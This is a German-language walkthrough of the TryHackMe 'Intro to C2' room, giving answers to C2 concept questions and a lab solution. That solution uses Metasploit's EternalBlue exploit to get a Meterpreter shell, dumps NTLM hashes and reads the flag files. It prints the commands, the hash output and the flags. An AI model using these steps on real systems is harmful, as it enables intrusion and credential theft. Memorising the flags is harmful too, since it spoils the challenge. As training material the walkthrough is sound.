https://tryhackme.com/room/introtoc2
Task 1 Introduction
Dieser Task enthält keine Fragen.
Task 2 Command and Control Framework Structure
Frage 1:
What is the component’s name that lives on the victim machine that calls back to the C2 server?
Antwort 1:
Agent
Frage 2:
What is the beaconing option that introduces a random delay value to the sleep timer?
Antwort 2:
jitter
Frage 3:
What is the term for the first portion of a Staged payload?
Antwort 3:
Dropper
Frage 4:
What is the name of the communication method that can potentially allow access to a restricted network segment that communicates via TCP ports 139 and 445?
Antwort 4:
SMB Beacon
Task 3 Common C2 Frameworks
Dieser Task enthält keine Fragen.
Task 4 Setting Up a C2 Framework
Dieser Task enthält keine Fragen.
Task 5 C2 Operation Basics
Frage 1:
Which listener should you choose if you have a device that cannot easily access the internet?
Antwort 1:
dns
Frage 2:
Which listener should you choose if you’re accessing a restricted network segment?
Antwort 2:
smb
Frage 3:
Which listener should you choose if you are dealing with a Firewall that does protocol inspection?
Antwort 3:
https
Task 6 Command, Control, and Conquer
Frage 1:
What flag can be found after gaining Administrative access to the PC?
Ich muss sagen, dass ich mit Armitage irgendwie nicht zurecht komme. Zumindest nicht, so wie die Anleitung in dem Task es will. Daher werde ich diesen Task mit Metasploit lösen.
Startern wir also Metasploit mit „msfconsole“, dann suchen wir nach Eternal Blue mit „search eternalblue“. Es sollte gleich das erste Ergebnis sein, daher starten wir es mit „use 0“.
Im Exploit geben wir die IP der Machine mit „set rhosts MACHINE_IP“ ein. Anschließend müssen wir noch unsere Try Hack Me IP eingeben mit „set lhost THM_IP“. Haben wir alle EInstellungen eingegeben starten wir den Exploit mit „run“ und erhalten eine Meterpreter shell.
Flags sind ja (bei THM) immer in .txt Dateien gespeichert, suchen wir nun nach .txt Dateien mit „search -f *.txt“. Wir finden eine Datei mit interessantem Namen im Verzeichnis c:\Users\Administrator\Desktop\root.txt
Im Meterpreter geben wir nun „shell“ ein, um die Kommandozeile zu erhalten. Jetzt geben wir „type c:\Users\Administrator\Desktop\root.txt“ ein, um den Inhalt angezeigt zu bekommen.
meterpreter > shell
Process 1448 created.
Channel 2 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>type c:\Users\Administrator\Desktop\root.txt
type c:\Users\Administrator\Desktop\root.txt
THM{bd6ea6c871dced619876321081132744}
Antwort 1:
THM{bd6ea6c871dced619876321081132744}
Frage 2:
What is the Administrator’s NTLM hash?
Mit „hashdump“ in der Meterpreter Shell erhalten wir alle User-Hashes
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c156d5d108721c5626a6a054d6e0943c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Ted:1001:aad3b435b51404eeaad3b435b51404ee:2e2618f266da8867e5664425c1309a5c:::
Der letzte Teil ist der gesuchte Hash (zwischen : und ::).
Antwort 2:
c156d5d108721c5626a6a054d6e0943c
Frage 3:
What flag can be found after gaining access to Ted’s user account?
Die Flag finden wir im Verzeichnis von Ted und auf seinem Desktop, genau wie bei Frage 1.
C:\Users\Ted\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is A4C0-3EC7
Directory of C:\Users\Ted\Desktop
02/18/2022 01:18 AM <DIR> .
02/18/2022 01:18 AM <DIR> ..
02/18/2022 01:17 AM 40 user.txt
1 File(s) 40 bytes
2 Dir(s) 47,120,924,672 bytes free
C:\Users\Ted\Desktop>type user.txt
type user.txt
THM{217fa45e35f8353ffd04cfc0be28e760}
Antwort 3:
THM{217fa45e35f8353ffd04cfc0be28e760}
Frage 4:
What is Ted’s NTLM Hash?
Siehe Frage 2, dort bekommen wir auch Teds Hash.
Antwort 4:
2e2618f266da8867e5664425c1309a5c
Task 7 Advanced C2 Setups
Frage 1:
What setting name that allows you to modify the User Agent field in a Meterpreter payload?
Die Antwort finden wir im gezeigten Beispiel.
Antwort 1:
HttpUserAgent
Frage 2:
What setting name that allows you to modify the Host header in a Meterpreter payload?
Hier müssen wir msfvenom zur Hilfe nehmen und eine Übersicht der Optionen einer geeigneten Payload anzeigen lassen. Nehmen wir zum Beispiel:
msfvenom -p windows/meterpreter/reverse_https --list-options
Dort finden wir auch unsere Antwort:
HttpHostHeader no An optional value to use for the Host HTTP header
Antwort 2:
HttpHostHeader
Task 8 Wrapping Up
Dieser Task enthält keine Fragen.